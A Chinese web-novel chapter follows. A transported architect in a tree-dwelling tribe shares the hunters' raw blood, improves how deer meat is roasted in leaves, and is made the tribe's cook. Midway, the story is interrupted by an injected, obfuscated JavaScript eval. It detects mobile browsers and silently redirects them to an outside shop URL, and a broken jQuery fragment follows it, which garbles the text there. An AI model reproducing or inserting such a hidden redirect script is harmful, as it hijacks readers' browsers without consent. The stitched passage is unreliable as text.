猎队回来的时候,太阳正好落到树冠以下。
几个猎人顺着垂下的藤绳爬回中天,站在最前面的栖落长老和他们依次碰了碰额头,猎人们的脸上满是疲倦和脏污也盖不住的兴奋。
藤条吊上来一只捆扎好的羽鹿,大概有二三十斤,灰扑扑皮毛上是深浅不一的褐色斑块。
见到猎物,人群爆发出一阵欢呼,整个部落都为今天丰厚的收获而沸腾起来。林筑在最外围探头探脑,试图看的更清楚些。那羽鹿的蹄子从中间分成两瓣,估计是为了能像钳子一样卡住树枝。
领头的猎手脸上有一块很大的疤,他把羽鹿卸在空地上,从腰间取下一个猪笼草模样的囊状容器。小心地拔开顶端的塞子,里面满满的是暗红色的粘稠液体。
他仰头喝了一口,一抹嘴,把容器递给了站在最前面的栖落。
栖落接过来,也喝了一口,又递给第三个。
猎人们在分血。
猎杀的时候已经喝过了最热乎的那一口,剩下的带回来,每人分几口,补充盐分和体力。
所有人都很珍惜,双手捧着囊口,慢慢地抿,生怕漏掉一滴。
囊传了一圈,递到了林筑面前。
羽鹿的血颜色深红,接近黑色,带着一股铁锈般的腥气。
林筑脑子里闪过一堆关于寄生虫、细菌、不明病原体的知识。以前她是绝对不会碰的生血,但这里是建木星,她连这里的微生物是什么都不知道。
也许没事,也许有事。但总目睽睽之下,她还是入乡随俗吧。
林筑把囊接过来,喝了一口。
血居然还是温的,味道很重,带着金属的腥味和一丝咸味。她努力让自己的表情保持正常,把囊递给了下一个人。
入乡随俗,树神保佑。
喝野生动物的生血,这事儿放到社媒上也是万踩起的猎奇活动。
分完血,一个女人上前去处理猎物。
她熟练的剥皮、去内脏、用石刀刮了刮血污。然后把羽鹿一分为二,一半抗在肩上,另一半放在林筑面前,她朝林筑嘿嘿一笑——转身就走了。
啊?接下来归我了吗?
林筑尽量呆若木鸡的不那么呆若木鸡。
"阿筑!"
木青神兵天降,不知道什么时候钻到了她旁边,手里抱着一叠叶子,往她怀里一塞:"你的叶子,赶紧的。"
新鲜摘的阔叶片,还带着水汽,边缘有些卷曲。
林筑想起栖落说的,这几天木青会帮忙收集阔叶,原来就是这个。
木青带着她在灰烬堆旁蹲下,把肉切块分放在大叶子上,用细藤条捆好小心地埋进灰烬,然后在灰烬上再次生火。
看来这就是他们两个的工作,林筑前期准备,他负责烹饪。
林筑蹲到他旁边,看了看他手里的叶子,又看了看火堆。在火舌的舔舐下,叶子包发出噼里啪啦的炸裂声。许久后木青把叶子扒拉出来打开,里面的鹿肉已经熟透。
“你先吃吧。”木青说,“今天人多,估计要烤两次。”
剥开焦黄的叶子,里面的肉熟是熟了,但那股味儿像是被闷在蒸笼里太久,说不上好闻。林筑尝试了一口,肉纤维粗得像绳子,柴的像树枝。
林筑盯看了看木青手里的半条鹿肉,又看了看远处那群等着吃饭的人,做了个决定说,"让我来做吧。"
木青手上的动作停了一下,抬头看她:"你来做?"
他的表情有点困惑,但木青还是把位置让了出来。"那你来弄,要小心火。"
林筑点点头,蹲到灰烬堆前。
木青收集的叶子散乱的丢在地上,各种形状,各种大小。林筑捡了几片颜色偏深、摸起来厚实的,这些应该是长在最外层、被太阳晒的最久的叶子。
为了抵抗强光和水分蒸发,老叶子的表皮变厚,还会分泌油脂来锁水,这种油脂在高温下大概率会释放香气。
林筑拿起一片,在还火上迅速地燎了一下。
叶片受热后立刻变软,边缘微微卷曲,发出一阵轻微的滋滋声。一股草木清香果然飘了出来,淡淡的,但闻了让人忍不住想多吸一口。
林筑连燎了四五片叶子,才伸手去拿肉。
把肉块码在燎好的叶片上包紧,再裹一层、再裹一层。她连裹了三层叶子,边边角角都折进去封好。所有肉都包好后,林筑把它们埋进灰烬里,用余烬和木块盖得严严实实。
木青在蹲着看完了全程,"就这样?燎一下叶子,然后多裹几层埋进去?"
"嗯。"
"这和以前做的不一样吗?"
"试试就知道了。"
暮色越来越深,太阳落山,树台火光摇曳。
族人渐渐聚拢过来,辛劳了一整天的身体需要能量的补给。他们交流着今天的收获,也在等待灰烬里的晚餐。
估摸着差不多了,林筑用根劈开的树枝当夹子,小心地把灰烬扒开,夹出一个团叶子包。黑乎乎的一团,表面沾着灰,看起来和木青平时做的也没什么区别。
有人嘀咕了句:"今天怎么这么慢?"
“稍等一下。”林筑说。
“哟,今天是阿筑做饭啊?”族人调侃地说,“阿筑也长大了。”
“阿筑恐怕会烤太老,她最不喜欢吃生肉了。”
大家友善的哈哈大笑起来,林筑有点脸红,她默默的把叶子掀开,腾起的水汽裹挟着草本芬芳便扑面而来,把焖煮析出的肉香衬托的清新醇厚。
木青这下真忍不住了,他吸了吸鼻子:"你快打开呀。"
林筑却留下了最后一层叶子,她把叶子包又放回了地上,"再等下。"林筑轻声道。
煎完的牛排要醒一会,让肉汁重新分布到纤维里。焖烤的肉适不适用她不知道,但试试总不会少块肉。
约莫过了十分钟,林筑才开始拆。
所有人的目光都黏死在这块叶包肉上。
林筑终于把最后的叶片打开了,里面的肉块呈现出浅褐色,表面微微发干,但能看出肉汁在缝隙间闪烁。
她切下一块,吹了吹热气放进嘴里。
燎过的叶片在高温下释放出了草木脂的香气,肉的腥味被压下去了大半。三层叶子锁住了水分,醇厚的肉汁在唇齿之间滑动,含蓄的焦香画龙点睛。
很有原始感的juicy叫花鹿。
林筑在心里默默打了个分65分。味道还行,但如果能配齐辅材,她肯定能做的更好。
“我真的要等不了了,我好饿啊。”木青连连发出饥饿的呼喊,“可以吃了吧。”
林筑抬起头,众人里三层外三层的紧紧围着她,目光炯炯的盯着地上的肉。
“可以了,小心烫。”林筑赶紧说,把那包肉切成两块,其中一块往木青前推了推。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17770822|209904||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
木青赶紧拿了自己的肉,出乎意料的美味让他惊喜的抬起眉毛,埋头吃的飞快。
旁边的人更着急,第二个、第三个纷纷伸手,林筑赶紧把叶子包给拆分了。木青叼着肉,被烫的直吸溜也不愿放下,快速的为大家分起肉来。
片刻后终于每个人都拿着自己的晚饭了,他们或蹲或坐,闷头吃了起来。表情从好奇变成了惊讶,又变成了一种轻松的满足,谈话声又响了起来。
"这个肉,比平时好吃很多。"有人评价道。
"更嫩,像果子一样有汁水。"
"叶子味也好香啊。"
"怎么做的?"
"她先燎了一下叶子!"木青在旁边抢答,用手比划着,"然后包了好多好多层,你看你看,叶子还在这里!"
有人"哦"了一声,又撕下块肉仔细看了看,嘟囔着,“那也没什么区别啊。”
林筑用叶子叠了个碗,找了个相对偏僻的地方躲着吃。她还折了两根树枝,文雅又别扭的试图回味文明时光。
然后她看到栖落走过来了。
林筑把“筷子”往肉上一捅,直接戳着吃了。
林筑发现栖落并没有因自己的身份而获得更多肉,她手里的分例和部族里所有的成年女性一样大。
"以后你来负责晚饭。"栖落说。
林筑虽有些其他想法,但话到嘴边又咽了回去。她现在是个摔到失忆的部落少女,不该对这个安排有意见。
"好。"她说,不管怎样,多少也算升职了?
栖落看了旁边的木青一眼。
"你,准备一下,明天跟着猎队走。"她说。
木青呆呆的,"啊?"
"肉以后林筑来做,你不用留在这里了。跑了快两年的腿,你现在够格了。"
木青的脸上慢慢亮了起来,从惊讶变成了惊喜,"真的?"
"明早猎队出发前到树台口等着。"栖落留下话,就转身走了。
木青攥着肉块的手紧了紧,他嘴角已经咧到了耳根,脸上浮起兴奋的红晕。他凑到林筑面前,眼睛亮晶晶的:"太棒了,阿筑!我以后就是猎队的人了!”
“真棒,祝贺你。”
“你为什么不早点摔?这样就能更早加入猎队了。”
林筑无语的斜了他一眼。
木青嘿嘿的讨好笑了,他把最后的肉塞进嘴里,鼓鼓囊囊地说,"真好吃。明天还做行不行?"
"如果明天有猎到的话,新鲜的肉最好吃了。"
"肯定有。"他信心满满地说,"明天开始我自己去猎。"
终于吃饱了第一顿热食,肚里有了令人安心的温度,林筑满意地仰躺在树台边缘。篝火已彻底熄了,只剩一缕青烟固执地往上飘,被夜风打散在枝丫之间。
夜空中是颗额外大的月亮,建木居然也只有一颗卫星,但她真的很亮,这大脸盘子亮得林筑甚至能看清自己指甲缝里嵌着的血污。
三天前这双手的主人还在画CAD节点详图呢,世事难料啊。
夜色更浓了,风也带了一点儿寒意。树台上的人群渐渐散去,但还能听到有人在讨论刚才的肉,惊讶于如此微小的变化所带来的口味升华。
林筑抠了抠自己指甲缝,建筑师的事业还没开始,摔一跤就直接转行了厨子了。
怪不得大家说毕业即失业呢,这就业形势确实不咋地。